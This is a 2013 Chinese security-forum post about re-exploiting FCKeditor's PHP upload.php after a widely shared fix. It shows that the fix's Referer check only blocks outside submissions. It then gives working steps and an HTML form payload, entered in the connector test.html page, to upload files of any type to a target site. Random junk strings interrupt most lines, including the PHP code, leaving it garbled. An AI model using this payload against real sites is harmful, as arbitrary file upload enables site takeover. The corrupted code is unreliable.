找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1982|回复: 0
打印 上一主题 下一主题

fckeditor 漏洞修复后的二次利用

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:12:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞文件:editors/fckeditor/editor/filemanager/upload/php/upload.php
- D: K1 B( [: f9 O+ n6 K网上给出的修复方案是2 Q7 S3 c/ L6 e9 x+ {) }
修复方法,删除FCK编辑器用其他的编辑器
. }( e/ l! d3 o: {或者找到 editors/fckeditor/editor/filemanager/upload/php/upload.php 文件
$ u; c4 |7 k# G0 \1 e( f+ R, y+ D" F$ o) A% n% U5 J. i- X
require(‘config.php’);- `8 A7 F1 V: r9 }! R6 X9 k0 ?
require(‘util.php’);$ R# B9 K- o8 [1 H' |" }
的下面添加以下代码—————————–
/ x' ^  l6 s% o6 J! r, \% S//防止外部提交( }, a/ D, i' d$ t; b6 l
function outsidepost()- i; w7 \. f0 ?' P- K2 r; a
{: C0 t4 i2 z! I
$servername=$_SERVER['SERVER_NAME'];" ?, @, J5 G- a' R: y1 _" q
$sub_from=@$_SERVER['HTTP_REFERER'];/ ^! n# Q  m& @5 d
$sub_len=strlen($servername);
( n  Z$ X3 k1 \3 j% d1 S% v. H: C$checkfrom=substr($sub_from,7,$sub_len);
. f8 ?' `2 y) T1 b" s9 `0 r. Q- oif($checkfrom!=$servername){& \1 D% b1 v8 |/ ^2 ]# z$ t
echo(“you don’t outsidepost!”);8 Z- r; n" A) ]- E% c' V$ R. U+ }" u
exit;
& C5 R5 l( p2 H& J: T9 V9 @}" q& m6 J. |1 h* S5 l4 G1 r
}5 L  L* X9 }% v8 M0 \8 ^  Y
outsidepost();/ I1 s& N( f' w5 B/ s/ `
防止外部提交,但是没有防止内部提交,2 Z0 O1 E4 Q: s  y
利用方法:
- Z0 C$ j' H# b1 J; x1,打开 editors/fckeditor/editor/filemanager/browser/default/connectors/test.html: V% ?5 o9 W) B- K: l' R
2,在Current Folder 框输入& U9 R3 {/ z) Q% h3 X% S
<form id=frmUpload enctype=multipart/form-data action=http://www.url.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media method=post>Upload a new file:<br><input type=file name=NewFile size=50><br><input id=btnUpload type=submit value=Upload></form>
) t* N6 V& w4 a. g" o然后 Get Folders and Files 就会出现一个上传表单,即可上传任意文件类型。
* n. W& @7 [/ G4 ?; Z; lPS:如果 editors与上传的文件夹设置了403 500 404 权限 利用就无效了。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表